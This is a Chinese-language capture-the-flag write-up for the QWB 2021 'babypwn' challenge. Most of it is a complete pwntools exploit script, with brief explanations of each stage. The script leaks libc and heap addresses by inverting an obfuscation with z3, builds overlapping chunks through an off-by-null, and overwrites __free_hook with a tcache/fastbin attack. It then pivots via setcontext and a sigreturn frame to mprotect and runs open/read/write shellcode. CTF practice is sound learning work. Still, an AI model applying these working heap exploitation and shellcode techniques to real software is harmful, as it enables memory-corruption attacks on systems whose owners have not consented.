qwb2021 pwn复现
babypwn
exp
from pwn import * from z3 import * context.log_level='debug' p=process(["/root/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/ld-2.27.so","./babypwn"],env={'LD_PRELOAD':'/root/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc-2.27.so:./libseccomp.so.2'}) #p=process('./babypwn') def add(size): p.sendlineafter('>>> \n','1') p.sendlineafter('size:\n',str(size)) def edit(index,content): p.sendlineafter('>>> \n','3') p.sendlineafter('index:\n',str(index)) p.sendlineafter('content:\n',content) def free(index): p.sendlineafter('>>> \n','2') p.sendlineafter('index:\n',str(index)) def show(index): p.sendlineafter('>>> \n','4') p.sendlineafter('index:\n',str(index)) def solve(target): a1=BitVec('a1',32) x=a1 for _ in range(2): x^= (32*x)^LShR((x^(32*x)),17)^(((32*x)^x^LShR((x^(32*x)),17))<<13) s=Solver() s.add(x==target) assert s.check()==sat return (s.model()[a1].as_long()) #leak libc_base add(0x1f0) add(0x200) for i in range(2,9): add(0x1f0) #pause() for i in range(2,9): free(i) free(0) for i in range(7): add(0x1f0) print i #pause() if i!=5: edit(i,(p64(0)+p64(0x21))*0x18) add(0xa0) show(8) libc=ELF('/root/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc-2.27.so') tmp1=solve(int('0x'+p.recvline(keepends=False),16)) tmp2=solve(int('0x'+p.recvline(keepends=False),16)) addr=(tmp2<<32)+tmp1 print hex(addr) base=addr-0x3ebe90 libc.address=base #leak heap_base add(0x140) free(8) free(9) show(5) tmp1=solve(int('0x'+p.recvline(keepends=False),16)) tmp2=solve(int('0x'+p.recvline(keepends=False),16)) addr=(tmp2<<32)+tmp1 print hex(addr) heapbase=addr-0x12c0 gdb.attach(p) add(0xa0)#8 add(0x148)#9 addr=heapbase+0xcb0 edit(9,'a'*0x148) pause() py=p64(addr)*2 py=py.ljust(0x140,'a')+p64(0x150+0xa0) edit(9,py) edit(8,p64(0)+p64(0x1f0)+p64(addr)*2) edit(1,'a'*0x1f0+p64(0)+p64(0x251)) pause() add(0x1f0) pause() free(0) for i in range(2,8): free(i) pause() free(1)#overlap free_hook=libc.sym['__free_hook'] system=libc.sym['system'] setcontext=libc.sym['setcontext']+53 mprotect=libc.sym['mprotect'] pause() add(0x120)#0 add(0x140)#1 pause() free(1) free(9) pause() edit(0,'./flag\x00\x00'+'a'*152+p64(free_hook))#fastbin_attack pause() add(0x140)#1 add(0x140)#2 pause() context.arch='amd64' sig=SigreturnFrame() sig.rsp=free_hook+0x10 sig.rbp=sig.rsp sig.rip=mprotect sig.rdi=free_hook&0xfffffffffffff000 sig.rsi=0x1000 sig.rdx=7 sig.csgsfs=0x2b000000000033 edit(0,str(sig)) pause() shellcode=''' mov rax,2 mov rdi,{sh} mov rsi,0 syscall xor rax,rax mov rdi,3 mov rsi,{bss1} mov rdx,0x300 syscall mov rax,1 mov rdi,1 mov rsi,{bss2} mov rdx,0x100 syscall '''.format(sh=free_hook+0x78,bss1=free_hook-0x500,bss2=free_hook-0x500) shellcode=asm(shellcode) py=p64(setcontext)+'flag\x00\x00\x00\x00'+p64(free_hook+0x18)+shellcode py+=py.ljust(0x100,'\x90') py+="flag\x00\x00\x00\x00" edit(2,py) pause() free(0) p.interactive()
泄露libc基址
#leak libc_base add(0x1f0) add(0x200) for i in range(2,9): add(0x1f0) #pause() for i in range(2,9): free(i) free(0) for i in range(7): add(0x1f0) print i #pause() if i!=5: edit(i,(p64(0)+p64(0x21))*0x18) add(0xa0) show(8)
填满7个tache,最后再free(0),这时候chunck 0就进入unsortbin。
然后再把这个unsortbin的一部分申请出来,就可以泄露libc的基址。
add(0xa0)前:
add(0xa0)后:
overlap
add(0xa0)#8 add(0x148)#9 addr=heapbase+0xcb0 edit(9,'a'*0x148) pause() py=p64(addr)*2 py=py.ljust(0x140,'a')+p64(0x150+0xa0) edit(9,py) edit(8,p64(0)+p64(0x1f0)+p64(addr)*2) edit(1,'a'*0x1f0+p64(0)+p64(0x251)) pause() add(0x1f0) pause() free(0) for i in range(2,8): free(i) pause() free(1)#overlap
先利用edit()函数中的off-by-null,把chunck 1的size改成0x200。
然后伪造堆块
伪造前:
伪造后:
通过free(1)向前合并堆块。
free(1)前:
free(1)后:
把chunck 8,chunck 9,chunck 1,合并成一个0x3f0大小的伪造chunck。
tache_fastbin_attack:
申请2个chunck,此时堆块情况:
然后把1和9依次free()了,再利用edit()修改fd指针。
edit前:
edit后:
在申请第二个0x150块的时候就能申请free_hook那一块的区域。
shellcode
context.arch='amd64' sig=SigreturnFrame() sig.rsp=free_hook+0x10 sig.rbp=sig.rsp sig.rip=mprotect sig.rdi=free_hook&0xfffffffffffff000 sig.rsi=0x1000 sig.rdx=7 sig.csgsfs=0x2b000000000033 edit(0,str(sig)) pause() shellcode=''' mov rax,2 mov rdi,{sh} mov rsi,0 syscall xor rax,rax mov rdi,3 mov rsi,{bss1} mov rdx,0x300 syscall mov rax,1 mov rdi,1 mov rsi,{bss2} mov rdx,0x100 syscall '''.format(sh=free_hook+0x78,bss1=free_hook-0x500,bss2=free_hook-0x500) shellcode=asm(shellcode) py=p64(setcontext)+'flag\x00\x00\x00\x00'+p64(free_hook+0x18)+shellcode py+=py.ljust(0x100,'\x90') py+="flag\x00\x00\x00\x00"
利用setcontext函数来执行mportect()函数更改__free_hook那段地址的属性。
然后再跳转到open(),read(),write()的shellcode输出flag的内容。